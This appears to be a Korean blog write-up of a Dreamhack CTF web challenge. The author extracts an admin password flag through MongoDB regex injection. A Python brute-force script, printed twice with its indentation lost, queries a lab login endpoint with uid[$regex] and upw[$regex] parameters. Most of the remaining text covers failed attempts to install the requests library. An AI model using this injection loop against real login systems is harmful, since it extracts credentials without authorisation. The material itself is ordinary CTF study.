
해당 문제를 풀기 위해서는 서버를 생성하고, 문제 파일을 다운로드하여야 합니다.
이번 문제에는,
1) 데이터베이스에 저장된 플래그를 획득하는 문제이며
2) 플래그는 admin 계정의 비밀번호이고 3) 플래그의 형식은 DH {…}라는 문제의 조건이 명시되어 있다는 사실을 알 수
있었습니다. 또한 {‘uid’: ‘admin’, ‘upw’: ‘DH {32 alphanumeric}’}라는 문제의 조건이 포함되어 있었습니다.

생성된 서버를 클릭해 보니 해당 화면이 나타나며, 문제 서버의 index은 /login?uid=guest&upw=guest이라는 문구를 출력하고 있다는 사실을 알 수 있었습니다.
해당 출력 값을 복사하여, 서버에 요청해 보니

guest 값이 출력되며 uid와 upw가 MongoDB에 들어가는 파라미터 임을 파악할 수 있었습니다.
문제 서버 index 값을 출력하였을 때는, uid만 출력해 주기에 우리가 원하는 flag를 얻기 위해서는 Blind SQL Injection을
이용해야 한다는 생각을 할 수 있었습니다.
Blind SQL Injection이란, 질의 결과를 이용자가 화면에서 직접 확인하지 못할 때 참/거짓 반환 결과로 데이터를 획득하는 공격 기법을 의미합니다.
문제에 필요한 코드를 작성하기전에 앞서, 문제에서 다운로드 한 코드 파일을 살펴보았습니다.


우리는 원하는 flag를 얻기 위해서, get 메서드를 이용하여 아래의 코드를 작성해 보았습니다.
import requests, string
HOST = 'http://host3.dreamhack.games:15219'
ALPHANUMERIC = string.digits + string.ascii_letters
SUCCESS = 'admin'
flag = ''
for i in range(32):
for ch in ALPHANUMERIC:
response = requests.get(f'{HOST}/login?uid[$regex]=ad.in&upw[$regex]=D.{{{flag}{ch}')
if response.text == SUCCESS:
flag += ch
break
print(f'FLAG: DH{{{flag}}}')
해당 코드를 터미널에서 실행하기 위해서,

파이썬(. py) 파일로 입력하여 터미널을 실행하고자 하였지만, 터미널을 실행시켰을 때 해당 화면이 나타났습니다.
requests 모듈이 없기에, install 명령어를 통해 설치하고자 하였으나 install 명령어를 이용했음에도 설치가 되지 않는다는 화면이 나타났습니다.
인터넷에 또 다른 방법을 검색해 본 결과,
명령 프롬포터를 통하여 pip install requests를 입력하면 설치가 가능해진다고 하여서
명령 프롬포트에 들어가 실행해 본 결과,

해당 화면이 나타나며, 설치에 실패하였습니다.

또 다른 방법으로는 window powershell의 앱에 들어가서, 명령어를 통하여 다운로드하고자 하였습니다.

그러나 이번에도 이전과 같이 pip install request 설치에 실패하였다는 것을 알 수 있습니다..

인터넷을 통하여 오류 해결 방법을 찾아보았을 때, 경로를 지정하면 해결이 가능하다는 글을 확인하여 경로를 지정하여
문제를 해결하고자 하였습니다. 그러나 경로를 지정하여도 해당 화면이 나타나 실패하였습니다..

결국 py (파이썬) 파일을 터미널에서, run 하였을 때 해당 화면이 나타나면서 문제에서 요구하는 정상 작동은 하지 못하였습니다. 해당 부분의 오류를 파악하였으니, 더 많이 검색하여 문제를 해결하도록 하겠습니다.
만일,

import requests, string
HOST = 'http://host3.dreamhack.games:15219'
ALPHANUMERIC = string.digits + string.ascii_letters
SUCCESS = 'admin'
flag = ''
for i in range(32):
for ch in ALPHANUMERIC:
response = requests.get(f'{HOST}/login?uid[$regex]=ad.in&upw[$regex]=D.{{{flag}{ch}')
if response.text == SUCCESS:
flag += ch
break
print(f'FLAG: DH{{{flag}}}')
문제를 풀기 위해 get 메서드를 이용한 위의 코드가 터미널에서 정상 작동이 된다면,

이와 같은 flag의 값들이 나타나고,
마지막에는 DH {89 e50 fa6 fafe2604 e33 c0 ba05843 d3 df}의 값이 나타나는데 해당 값을 입력하면 문제 풀이를 완료하는 것입니다.
-- 오류의 부분은 보완하여 다시 수정하도록 하겠습니다!--
'Dreamhack' 카테고리의 다른 글
| [Dreamhack_web 문제 풀이 _ image-storage] (0) | 2023.11.18 |
|---|---|
| [Dreamhack_web 문제 풀이_command-injection-1] (0) | 2023.11.18 |
| [Dreamhack 문제 풀이] _ simple_sqli (0) | 2023.11.10 |
| [Dreamhack 문제 풀이] _ CSRF 2 (0) | 2023.11.10 |
| [Dreamhack 문제 풀이] _ CSRF 1 (0) | 2023.11.07 |